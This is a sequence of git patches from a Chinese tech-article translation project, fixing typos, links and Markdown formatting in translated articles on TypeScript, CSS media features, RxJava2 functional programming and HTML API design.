 >『通常，TypeScript 被采用的流程 —— 不论是企业，创业团队还是个人开发者 —— 是你在某个项目中尝试使用并发现它很棒，接着你就开始推荐给别人。就这样，它就在你的影响范围内传播开了。』—— Anders Hejlsberg
 
-关注度的提高似乎是用户增长的原因之一。『我们没做过任何推广，所有这些都是社区驱动的。实际上是在稳步增长，我们现在开始注意到更大的数字了。』Hejlsberg 说道。
+关注度的提高似乎是用户增长的原因之一。『我们没做过任何推广，所有这些都是社区驱动的。实际上是在稳步增长，我们现在开始注意增长速度更快了。』Hejlsberg 说道。
 
 Hejlsberg 指出 TypeScript 还是在 Stack Overflow 的调查中排在 Rust 和 Smalltalk 之后第三受欢迎的语言（排在 Swift 和 go 之前）以及第六急需人才的语言，排在 C# 和 Swift 之前。『我认为这从很大程度上说明我们真的解决了实际问题』Hejlsberg 指出。
 
@@ -73,7 +73,7 @@ TypeScript 团队最近宣布发布频率将由每季度改为每两个月，Hel
 
 使这样的快速发布节奏成为可能的是所有 pull request 被合并前必须通过测试，这保证了 master 分支的代码质量和 TypeScript 的流行，意味着任何问题都可以被快速发现。
 
-『我们是一个开源项目，我们在 GitHub 上做了很多工作。我们绝不合并任何 pull request，除非它能通过我们现有的 55000 个测试；如果是增加新功能，就必须提供相应的测试代码；如果是修改 bug，就必须提供回归测试。这意味着我们的 master 分支始终保持着很高的代码质量。』他说道。
+『我们是一个开源项目，我们在 GitHub 上做了很多工作。除非能通过我们现有的 55000 个测试，否则我们绝不合并任何 pull request；如果是增加新功能，就必须提供相应的测试代码；如果是修改 bug，就必须提供回归测试。这意味着我们的 master 分支始终保持着很高的代码质量。』他说道。
 
 ## JavaScript: 强大但复杂 ##
 
@@ -83,7 +83,7 @@ TypeScript 团队最近宣布发布频率将由每季度改为每两个月，Hel
 
 『是的，它变得更复杂，但也有着无限多的能力。』 Hejlsberg 谈到 JavaScript 时说道。『利用 JavaScript，你可以使用同一种语言和工具开发出如此多种类的应用。对我而言，这正是推动所有这一切的原因：你可以开发不同类型应用的多样性以及你能从这个不断进化的生态系统中获得的可重用性。它不仅仅变得更复杂了，也更强大了。』
 
-*TNS 分析员 [Lawrence Hecht](https://thenewstack.io/author/lawrence-hecht/) 为此份报告提供了帮助。*
+*TNS 分析员 [Lawrence Hecht](https://thenewstack.io/author/lawrence-hecht/) 为此份报告的撰写提供了帮助。*
 
 
 

From b4e48b548f86ec1bfb6e4ef34b784e9dc0ea0dba Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 10 May 2017 10:03:05 +0800
Subject: [PATCH 398/638] Update
 mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first.md

---
 ...rtrait-slow-interlace-monochrome-coarse-non-hover-first.md | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/TODO/mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first.md b/TODO/mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first.md
index a9e8b686e07..9e393c62fcf 100644
--- a/TODO/mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first.md
+++ b/TODO/mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first.md
@@ -1,13 +1,11 @@
 > * 原文地址：[Mobile, Small, Portrait, Slow, Interlace, Monochrome, Coarse, Non-Hover, First](https://css-tricks.com/mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first/)
-> * 原文作者：[ANDRÉS GALANTE](https://css-tricks.com/author/agalante/)
+> * 原文作者：本文已获原作者 [ANDRÉS GALANTE](https://css-tricks.com/author/agalante/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：
 
 # Mobile, Small, Portrait, Slow, Interlace, Monochrome, Coarse, Non-Hover, First #
 
-[![](http://s3.buysellads.com/1279518/7386844-1491489478.jpg)](https://srv.buysellads.com/ads/click/x/GTND4237CE7DV5QUCAY4YKQWF6BDCKQYFTAITZ3JCEAIVK7UCKSD55QKC6BDL23LCW7DTK3EHJNCLSIZ) 
-
 A month ago I [explored the importance of relying on Interaction Media Features](https://css-tricks.com/touch-devices-not-judged-size/) to identify the user's ability to hover over elements or to detect the accuracy of their pointing device, meaning a fine pointer like a mouse or a coarse one like a finger.
 
 But it goes beyond the input devices or the ability to hover; the screen refresh rate, the color of the screen, or the orientation. Making assumptions about these factors based on the width of the viewport is not reliable and can lead to a broken interface.

From 5b513f13cd219dd76fcce2d666fa21ae2c825cfb Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Wed, 10 May 2017 10:22:47 +0800
Subject: [PATCH 399/638] fix typos, correct links and some words

---
 ...oid-rxjava2-what-the-hell-is-this-part3.md | 64 +++++++++----------
 1 file changed, 30 insertions(+), 34 deletions(-)

diff --git a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
index af2cc8674f3..607ad332f6a 100644
--- a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
+++ b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
@@ -11,18 +11,18 @@
 
 大家好，希望你们都过得不错。这是我们的 RxJava2 Android 系列的第三篇文章.
 
-- [第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)
-- [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)
+- [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md)
+- [第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)
 
 在这篇文章中，我们将讨论函数式的接口，函数式编程，Lambda 表达式以及与 Java 8 的相关的其它内容。这对每个人近期都是有帮助的。
 
 **动机：**
 
-动机和我在分享[第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)时一致。Lambda 表达式、函数式编程、高阶函数等等总是让我在使用 Java 时很痛苦，因为大家都知道，Java 是面向对象编程的。所以，Java 怎么可能支持函数式编程。那么，在函数式编程里，Lambda 表达式的角色是什么呢？为了让所有问题变得简单明了，我会从函数式接口开始。重要的是，我向你们保证，只要你们 100% 看完这部分，你们将会对最近我们听到的所有名字都感觉自在很多。函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的与不可变的，函数式编程与 Lambda 表达式。我觉得很多人最近都在使用 Lambda 表达式，但或许在读完这篇文章后，他们会更了解 Lambda 表达式。攻克难题的时刻到了。
+动机和我在分享[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md)时一致。Lambda 表达式、函数式编程、高阶函数等等总是让我在使用 Java 时很痛苦，因为大家都知道，Java 是面向对象编程的。所以，Java 怎么可能支持函数式编程。那么，在函数式编程里，Lambda 表达式的角色是什么呢？为了让所有问题变得简单明了，我会从函数式接口开始。重要的是，我向你们保证，只要你们 100% 看完这部分，你们将会对最近我们听到的所有名字都感觉自在很多。函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的与不可变的，函数式编程与 Lambda 表达式。我觉得很多人最近都在使用 Lambda 表达式，但或许在读完这篇文章后，他们会更了解 Lambda 表达式。攻克难题的时刻到了。
 
 **修改:**
 
-在[第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)，我们讨论了 Rx 最重要、最基础也最核心的概念，那就是观察者模式。在[第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)，我们讨论了拉模式和推模式，以及命令式和响应式编程。
+在[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md)，我们讨论了 Rx 最重要、最基础也最核心的概念，那就是观察者模式。在[第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)，我们讨论了拉模式和推模式，以及命令式和响应式编程。
 
 **介绍:**
 
@@ -65,10 +65,10 @@ public interface Add {
 
 ```
 public interface Do {
-   
+
     void why();
-   
-    void sorry(); 
+
+    void sorry();
 }
 ```
 
@@ -78,11 +78,11 @@ public interface Do {
 
 ```
 public interface Runnable {
-    public abstract void **run**();
+    public abstract void run();
 }
 
 public interface OnClickListener {
-    void **onClick**(View v);
+    void onClick(View v);
 }
 ```
 
@@ -134,11 +134,7 @@ RxJava2:
 
 f(x) = x+3
 
-if x = 2 what will be the answer.
-
-如果 x = 2，答案是什么。
-
-f(x) equal to y.
+如果 x = 2，答案是什么。d
 
 f(x) 等于 y。
 
@@ -215,13 +211,13 @@ public int squre(int x){
 
 ```
 public void login(String username, String password, Callback c){
-    API.login(username, password, callback); 
+    API.login(username, password, callback);
 }
 ```
 
 现在我们又理解了两个名词。纯函数和副作用。
 
-~~函数式接口、默认方法、纯函数、函数的副作用~~、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。
+~函数式接口、默认方法、纯函数、函数的副作用~、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。
 
 接下来，我们准备讨论可变的不可变的。在数学中，我们记得，当我给函数一个值，我总能获得新的值，而我原来的值还是一样的。但是，在编程中，那个概念就变了。这时为什么我们有两种不同的定义。可变的和不可变的。在面向对象中，我们几乎无时不刻不在破坏不可变性。这可能导致很多问题，但是函数式编程总是利用不可变性。正如每个人都知道在 Java 里，String 是不可变的。
 
@@ -254,7 +250,7 @@ for (int i = 0; i < array.length; i++) {
 
 ```
 Output:
-2 4 6 8 10 
+2 4 6 8 10
 1 2 3 4 5
 ```
 
@@ -289,21 +285,21 @@ public class FunctionalLambda {
 在这个例子里，基本上我用到了线程。子线程让数组里的每一个数据 + 1，而主线程或者其他子线程则对数组中的数据做平方运算。作为一个开发者，我期望数值应如下所示。
 
 ```
-        1
-        4
-        9
-        16
-        25
+1
+4
+9
+16
+25
 ```
 
 但是，当我执行这段代码时，得到的结果如下。
 
 ```
-        4
-        9
-        16
-        25
-        36
+4
+9
+16
+25
+36
 ```
 
 结果和期望并不相同，因为我没有管数据可变性。现在我准备写一个合适的函数式程序，对数据的不可变性进行严格控制。
@@ -339,7 +335,7 @@ public class FunctionalLambda {
 
 运行完这段例子后，我所期望的和实际输出的是一致的，因为我的程序没有对数组做直接改变，而是拷贝了我的数据。这就是为什么我可以说我的数组是不可变的。对不起，我也用 Rx 了。但是从现在开始，我会加一点 Rx 到我的例子里。我会在接下来的文章中解释清楚。但是，请相信我，那是一个函数式程序。在程序里，我有一个纯函数做平方运算，并且我的数组不改变，因为我将使用函数式范式。
 
-~~函数式接口、默认方法、纯函数、函数的副作用、~~高阶函数、~~可变的和不可变的、~~函数式编程和 Lambda 表达式。
+~函数式接口、默认方法、纯函数、函数的副作用~、高阶函数、~可变的和不可变的~、函数式编程和 Lambda 表达式。
 
 是时候解释清楚高阶函数 (HOF) 的含义了。
 
@@ -347,7 +343,7 @@ public class FunctionalLambda {
 
 那简直太简单了，并且我们在 Rx 编程中用了很多这个概念。在 Java 8 之前，展示 HOF 还是有点困难的，但是我们使用匿名类作为 HOF。我们大多在 C++ 中使用这个概念，把函数作为一个参数。在安卓中，这就类似于添加一个匿名类为点击事件监听者。所以你可以说，这是 HOF 的一个例子。我会在介绍 Rx 的文章中更详细地解释这个。
 
-~~函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、~~函数式编程和 Lambda 表达式。
+~函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的~、函数式编程和 Lambda 表达式。
 
 现在，如果我们使用这些概念，在任何语言中，我们所讨论的纯函数，HOF，不可变的都是接下来的函数式范式。那就是函数式编程。在面向对象编程时我们经常要管理对象的状态，但是在函数式程序里，我们有数据，管理好了不可变性，我们可以大胆地做运算。
 
@@ -401,10 +397,10 @@ List<String > list = new ArrayList<>();
 
 ```
 public static void main(String [] args){
-    System.out.println(**giveMeBack(1)**);
+    System.out.println(giveMeBack(1));
 }
 
-public static int  **giveMeBack**(int a){
+public static int  giveMeBack(int a){
     return a;
 }
 ```
@@ -464,7 +460,7 @@ button.setOnClickListener(v -> /* Click */);
 /**
  * Interface definition for a callback to be invoked when a view is clicked.
  */
-public interface **OnClickListener** {
+public interface OnClickListener {
     /**
      * Called when a view has been clicked.
      *
@@ -517,7 +513,7 @@ button.setOnClickListener(v -> {
 我可以明确提及数据类型，如下所示。
 
 ```
-button.setOnClickListener(**(View v)** -> System.out.println());
+button.setOnClickListener((View v) -> System.out.println());
 ```
 
 现在，如何返回 Lambda 表达式类型呢？再给你一个例子。
@@ -571,7 +567,7 @@ int sum = add.add(1,2);
 
 结论：
 
-大家都太棒了。今天我们到达了一个 Rx 学习中的里程碑。下一篇文章是 [War against Learning Curve of Rx Java 2 + Java 8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/)。（[第四部分](https://github.com/xitu/gold-miner/blob/master/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md)）到现在为止，我们了解了观察者模式、拉模式与推模式、响应式与命令式、函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。我认为，如果你都了解了上述名词，Rx 的学习将会越来越简单。现在我感觉你们都已经了解了，所以接下来 Rx 的学习对于我们都会更简单。
+大家都太棒了。今天我们到达了一个 Rx 学习中的里程碑。下一篇文章是 [War against Learning Curve of Rx Java 2 + Java 8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](https://github.com/xitu/gold-miner/blob/master/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md)。到现在为止，我们了解了观察者模式、拉模式与推模式、响应式与命令式、函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。我认为，如果你都了解了上述名词，Rx 的学习将会越来越简单。现在我感觉你们都已经了解了，所以接下来 Rx 的学习对于我们都会更简单。
 
 祝你们有个愉快的周末。让我们下周再见吧。
 

From 25fd6fd628041a90f7ebcd57170fca7f87a1ed0a Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Wed, 10 May 2017 10:31:18 +0800
Subject: [PATCH 400/638] fix typos angin

---
 ...ogramming-android-rxjava2-what-the-hell-is-this-part3.md | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
index 607ad332f6a..b0cb754da87 100644
--- a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
+++ b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
@@ -134,7 +134,7 @@ RxJava2:
 
 f(x) = x+3
 
-如果 x = 2，答案是什么。d
+如果 x = 2，答案是什么。
 
 f(x) 等于 y。
 
@@ -150,9 +150,7 @@ y = 5
 
 再来一个例子。
 
-有多少人记得。
-
-Sin(x) [ 三角函数 ]
+有多少人记得 Sin(x) [ 三角函数 ]
 
 我们当然记得。在学校的时候，对一个 45° 的角取正弦，我会得到 1/2 的答案，如下所示。
 

From 8fe03d5b6101c89d03709b2b5b5a03a5ec78e139 Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Wed, 10 May 2017 10:52:36 +0800
Subject: [PATCH 401/638] fix typos and format

---
 TODO/designing-html-apis.md | 41 ++++++++++++++++++++-----------------
 1 file changed, 22 insertions(+), 19 deletions(-)

diff --git a/TODO/designing-html-apis.md b/TODO/designing-html-apis.md
index c4ddf0ae386..c5f07cad03e 100644
--- a/TODO/designing-html-apis.md
+++ b/TODO/designing-html-apis.md
@@ -1,16 +1,16 @@
 > * 原文地址：[HTML APIs: What They Are And How To Design A Good One](https://www.smashingmagazine.com/2017/02/designing-html-apis/)
-* 原文作者：[Lea Verou](https://www.smashingmagazine.com/author/lea-verou/)
-* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-* 译者：[王子建](https://github.com/Romeo0906)
-* 校对者：[薛定谔的猫](https://github.com/Aladdin-ADD)、[zhangqippp](https://github.com/zhangqippp)
+> * 原文作者：[Lea Verou](https://www.smashingmagazine.com/author/lea-verou/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：[王子建](https://github.com/Romeo0906)
+> * 校对者：[薛定谔的猫](https://github.com/Aladdin-ADD)、[zhangqippp](https://github.com/zhangqippp)
 
-#如何设计优秀的 HTML API#
+# 如何设计优秀的 HTML API #
 
 作为 JavaScript 开发者，我们经常忘记并不是所有人都像我们一样了解 JavaScript，这被称为[知识的诅咒](https://en.wikipedia.org/wiki/Curse_of_knowledge)：当我们精通某个内容的时候，我们就不记得自己作为新人的时候有多么困惑。我们总是对其他人的能力估计过高，因此我们觉得，自己写的类库需要一些 JavaScript 代码去初始化和配置也很 OK。然而，一些用户却在使用过程中大费周折，他们疯狂地从文档中复制粘贴例子并随机组合这些代码，直到它们生效。
 
 你或许会想，“但是所有写 HTML 和 CSS 的人都会 JavaScript，对吧？”你错了。来看看我的[调查结果](https://twitter.com/LeaVerou/status/690583334414635009)吧，这是我所知道的唯一的相关数据了。（如果你知道任何适用于这个话题的调查，请在评论中说明！）
 
-![](https://www.smashingmagazine.com/wp-content/uploads/2017/02/lea-verou-poll-tweet-opt.png) 
+![](https://www.smashingmagazine.com/wp-content/uploads/2017/02/lea-verou-poll-tweet-opt.png)
 
 测试：“你对 JavaScript 好感如何？”（[2016 年 1 月 22 日](https://twitter.com/LeaVerou/status/690583334414635009)）
 
@@ -23,6 +23,9 @@
     <label for="tags">Tags: </label>
     <input id="tags">
 </div>
+```
+
+```
 $( function() {
     var availableTags = [
         "ActionScript",
@@ -57,13 +60,13 @@ $( function() {
 
 这会让写 HTML 的人看得更清楚更明白，在程序员看来更为简单。我们看到所有的内容都同时被设置好，不必关心什么时候初始化，如何获取元素的引用和如何设置每个内容，无需知道哪个函数是用来初始化或者它需要什么参数。在更高级的使用情况中，还会添加一个 JavaScript API 来允许动态创建属性和元素。这遵循了一条最基本的 API 设计原则：让简单的内容变得更简单，让复杂的内容得以实现。
 
-这给我们上了一堂**关于 HTML API 的重要课程**：HTML API 不光要给那些了解 JavaScript 但水平有限的人带来福音，还要让我们，程序员，在普通的工作中也要不惜牺牲程序的灵活性来换取更高的表述性。然而不知怎的，我们在写自己的类库的时却总忘记这些。
+这给我们上了一堂**关于 HTML API 的重要课程**：HTML API 不光要给那些了解 JavaScript 但水平有限的人带来福音，还要让我们 —— 程序员 —— 在普通的工作中也要不惜牺牲程序的灵活性来换取更高的表述性。然而不知怎的，我们在写自己的类库的时却总忘记这些。
 
-那么什么是 HTML API 呢？根据[维基百科](https://en.wikipedia.org/wiki/Application_programming_interface)的定义,API（也就是应用程序接口）是“用于构建应用程序软件的一组子程序定义、协议和工具”。在 HTML API 中，定义和协议就是 HTML ，工具在 HTML 中配置。HTML API 通常由可用于现有 HTML 内容的类和属性模式组成。通过 Web 组件，甚至可以像玩游戏一般[自定义元素名称](https://www.w3.org/TR/custom-elements/)，和[Shadow DOM](https://dom.spec.whatwg.org/#shadow-trees)，HTML API 甚至能拥有完整的内部结构，并且对页面其余部分隐藏实现细节。。但是这并不是一篇关于 Web 组件的文章，Web 组件给予了 HTML API 设计者更多的能力和选择，但是良好的（HTML）API 设计原则都是可以举一反三的。
+那么什么是 HTML API 呢？根据[维基百科](https://en.wikipedia.org/wiki/Application_programming_interface)的定义，API（也就是应用程序接口）是“用于构建应用程序软件的一组子程序定义、协议和工具”。在 HTML API 中，定义和协议就是 HTML ，工具在 HTML 中配置。HTML API 通常由可用于现有 HTML 内容的类和属性模式组成。通过 Web 组件，甚至可以像玩游戏一般[自定义元素名称](https://www.w3.org/TR/custom-elements/)和 [Shadow DOM](https://dom.spec.whatwg.org/#shadow-trees)，HTML API 甚至能拥有完整的内部结构，并且对页面其余部分隐藏实现细节。但是这并不是一篇关于 Web 组件的文章，Web 组件给予了 HTML API 设计者更多的能力和选择，但是良好的（HTML）API 设计原则都是可以举一反三的。
 
 HTML API 加强了设计师和工程师之间的合作，减轻工程师肩上的工作负担，还能让设计师创造更具还原度的原型。在类库中引入 HTML API 不仅让社区更具包容性，最终还能造福程序员。
 
-**并不是每个类库都需要  HTML API。**HTML API 在使用了 UI 元素的类库中非常有用，比如 galleries、drag-and-drop、accordions、tabs、carousels 等等。经验表明，如果一个非程序员不能理解该类库的功能，它就不需要 HTML API。比如，那些简化代码或者帮助管理代码的库就不需要 HTML API。那 MVC 框架或者 DOM 助手之类的库又怎会需要 HTML API 呢？
+**并不是每个类库都需要  HTML API。** HTML API 在使用了 UI 元素的类库中非常有用，比如 galleries、drag-and-drop、accordions、tabs、carousels 等等。经验表明，如果一个非程序员不能理解该类库的功能，它就不需要 HTML API。比如，那些简化代码或者帮助管理代码的库就不需要 HTML API。那 MVC 框架或者 DOM 助手之类的库又怎会需要 HTML API 呢？
 
 目前为止，我们只讨论了 HTML API 的定义、功能和用处，文章剩下的部分是关于如何设计一个好的 HTML API。
 
@@ -77,7 +80,7 @@ HTML API 加强了设计师和工程师之间的合作，减轻工程师肩上
 
 在可以自由地使用 `init` 选择器的情况下，允许选择是否自动化将会是一个良好的实践。比如，[Stretchy](https://leaverou.github.io/stretchy) 默认自动调整**每个** `<input>`、`<select>` 和 `<textarea>` 的尺寸，但是也允许通过 `data-stretchy-filter` 属性自定义指定其他元素为 `init` 选择器。Prism 支持 `<script>` 元素的 `data-manual` 属性来完全取消自动初始化。良好的实践应该允许 HTML 和 JavaScript 都能设置这个选项，来适应 HTML 和 JavaScript 两种类库的用户。
 
-###最小化初始标记###
+### 最小化初始标记 ###
 
 那么，对于 `init` 选择器的每个元素来说，你的类库都需要其有一个封包、三个内部的 button 和两个相邻的 div 该怎么办呢？没问题，自己生成就好了。但是这种磨磨唧唧的工作更适合机器，而不是人。**不要期望每个使用类库的人都同时使用了一些模板系统**：许多人还在使用手动添加标记，他们会发现这样建造系统太过复杂。因此，我们有义务让他们活的轻松一点。
 
@@ -85,13 +88,13 @@ HTML API 加强了设计师和工程师之间的合作，减轻工程师肩上
 
 这条规则中有一个例外：优雅地退化并渐进地增强。比如，即使单个具有“ data- * ”属性的元素并在“ data-* ”中添加所有选项就可以实现，在嵌入推文的时候也还是会涉及很多标记。这样做是为了在 JavaScript 加载和运行之前就使得推文可读。一个良好的经验法则就是扪心自问，即使在没有 JavaScript ，多余的标记能否给终端用户带来好处？如果是，那么就引入；如果不是，那就要用类库生成。
 
-便于用户使用还是让用户自定义也是一组经典的矛盾：自动生成所有的标记会易于用户使用，让用户自定义又显得更加灵活。**在你需要的时候，灵活性如雪中送炭，在不需要的时候却适得其反，**因为你不得不手动设置所有的参数。为了平衡这两种需要，你可以生成那些需要但不存在的标记。比如，假设你需要给所有的 `.foo` 元素外层添加一个 `.foo-container` 元素。首先，通过 `element.closest(".foo-container")` 检查 `.foo` 元素的父元素或者任何的祖先元素（这样最好了）是否含有 `foo-container` 类，如果有的话，你就不用生成新的元素，直接使用就可以了。
+便于用户使用还是让用户自定义也是一组经典的矛盾：自动生成所有的标记会易于用户使用，让用户自定义又显得更加灵活。**在你需要的时候，灵活性如雪中送炭，在不需要的时候却适得其反**，因为你不得不手动设置所有的参数。为了平衡这两种需要，你可以生成那些需要但不存在的标记。比如，假设你需要给所有的 `.foo` 元素外层添加一个 `.foo-container` 元素。首先，通过 `element.closest(".foo-container")` 检查 `.foo` 元素的父元素或者任何的祖先元素（这样最好了）是否含有 `foo-container` 类，如果有的话，你就不用生成新的元素，直接使用就可以了。
 
-###设置###
+### 设置 ###
 
 典型地，设置应该通过在恰当的元素上使用 `data-*` 属性来实现。如果你的类库中添加了成千上万的属性，然后你希望给它们添加命名空间来避免和其他类库混淆，比如这样 `data-foo-*`（foo 是基于类库名字的一到三个字母长度的前缀）。如果名字显得太长，你可以使用 `foo-*`，但是要有心理准备，这种方式会打破 HTML 验证并且会使得一些勤劳的 HTML 作者因此而弃用你的类库（因为他们宁愿费点力气，也不愿意使用这种命名。译者注。）。理想情况下，只要代码不会太臃肿，以上两种情况都应该支持。目前还没有完美的解决办法，因此在 WHATWG 中展开了一场如火如荼的[讨论](https://github.com/whatwg/html/issues/2271)：是否应该让自定义的属性前缀合法化。
 
-**尽可能地遵从 HTML 的惯例。**比如，你使用了一个属性来做布尔类型的设置，当该属性出现时无论其值如何都被视为 `true`，若不出现则被视为 `false`，不要期望可以用 `data-foo="true"` 或者 `data-foo="false"` 来代替。当然 ARIA 是这样做的，但是如果 ARIA 哪天突然死翘翘了，你也想那样吗？
+**尽可能地遵从 HTML 的惯例**。比如，你使用了一个属性来做布尔类型的设置，当该属性出现时无论其值如何都被视为 `true`，若不出现则被视为 `false`，不要期望可以用 `data-foo="true"` 或者 `data-foo="false"` 来代替。当然 ARIA 是这样做的，但是如果 ARIA 哪天突然死翘翘了，你也想那样吗？
 
 你也可以使用类进行**布尔值**设置。典型地，类的语法和布尔属性值类似：类存在的时候是 `true` 不出现的时候就是 `false`。如果你想反过来设置，那就用一个 `no-` 前缀（比如，`no-line-number`）。但是要记住，类名可不像属性一样只有 `data-*`，因此这种方式很可能会和用户现存的类名冲突，因此你可以考虑一下在类名中使用 `foo-` 这样的前缀来避免冲突。但也有可能在后期的维护中发现这些类并未被 CSS 使用所以误删，这又是另一个隐患。
 
@@ -101,11 +104,11 @@ HTML API 加强了设计师和工程师之间的合作，减轻工程师肩上
 
 HTML 有一个惯例很让人头痛：在 HTML 中，用属性联系到另一个元素通常是靠引用其 ID 实现的（试想一下 `<label for="...">`）。然而，这种方法相当受限制：如果能够允许使用选择器或者甚至允许嵌套将更为方便，其效果将会极大地依赖于你的使用情况。要记住，稳定性重要，但实用性更加重要。
 
-**即使有些设置内容不能在 HTML 中指定也没关系。**在 JavaScript 中以函数为设置值的部分被称作“高级自定义”。试想一下 [Awesomplete](http://leaverou.github.io/awesomplete/#customization)：所有数字、布尔值、字符串和对象都可以通过 `data-*` 属性（`list`、`minChars`、`maxItems`、`autoFirst`）设置，所有的函数设置只能通过 JavaScript 使用（`filter`、`sort`、`item`、`replace`、`data`），这样会写 JavaScript 函数来配置类库的人就可以使用 JavaScript API 了。
+**即使有些设置内容不能在 HTML 中指定也没关系**。在 JavaScript 中以函数为设置值的部分被称作“高级自定义”。试想一下 [Awesomplete](http://leaverou.github.io/awesomplete/#customization)：所有数字、布尔值、字符串和对象都可以通过 `data-*` 属性（`list`、`minChars`、`maxItems`、`autoFirst`）设置，所有的函数设置只能通过 JavaScript 使用（`filter`、`sort`、`item`、`replace`、`data`），这样会写 JavaScript 函数来配置类库的人就可以使用 JavaScript API 了。
 
 正则表达式（regex）处在灰色地带：典型的，只有程序员才知道正则表达式（甚至程序员在使用的时候也会有问题！）；那么，乍看之下，在 HTML API 中引入正则表达式类型的设置并没有意义。然而，HTML5 确实引入了这样的设置（`<input pattern="regex">`），并且我相信那很成功，因为非程序员能在[正则词典](http://www.html5pattern.com/)中找到他们的用例并复制粘贴。
 
-###继承###
+### 继承 ###
 
 如果你的 UI 库在每个页面只会调用一两次，继承将不会很重要。然而，如果要应用于多个元素，通过类或者属性给每个元素做相同的配置将会非常令人头痛。记住**并不是每个人都用了构建系统**，尤其是非程序员。在这些情况下，定义能够从祖先元素继承设置将会变得非常有用，那样多个实例就可以被批量设置了。
 
@@ -113,7 +116,7 @@ HTML 有一个惯例很让人头痛：在 HTML 中，用属性联系到另一个
 
 现在 [CSS 变量](https://www.w3.org/TR/css-variables/)已经被[所有的浏览器支持](http://caniuse.com/#feat=css-variables)，它们可以用于以下设置：他们默认可以被继承，并且可以以内联的方式通过 `style` 属性设置，也可以通过 CSS 或者 JavaScript 设置。在代码中，你可以通过 `getComputedStyle(element).getPropertyValue("--variablename")` 获取它们。除了浏览器支持，其主要的劣势就是开发者们还没习惯使用它们，但是那已经发生改变了。并且，你不能像监视元素和属性的一般通过 `MutationObserver` 来监视其改变。
 
-###全局设置###
+### 全局设置 ###
 
 大多数 UI 类库都有两组设置：定义每个组件表现形式的设置和定义**整个类库表现形式**的全局设置。目前为止，我们主要讨论了前者，你现在可能在好奇全局设置该在设置在哪里。
 
@@ -121,7 +124,7 @@ HTML 有一个惯例很让人头痛：在 HTML 中，用属性联系到另一个
 
 然而，你不能只在 `<script>` 元素中进行设置，因为一些用户可能会在 CMS 中使用你的类库，而 CMS 中不允许用户自定义 `<script>` 元素。你也可以在 `<html>` 和 `<body>` 元素或者甚至任何地方设置，只要你清楚地声明了属性值重复的时候哪个会生效。（第一个？最后一个？还是其他的？）
 
-###文档###
+### 文档 ###
 
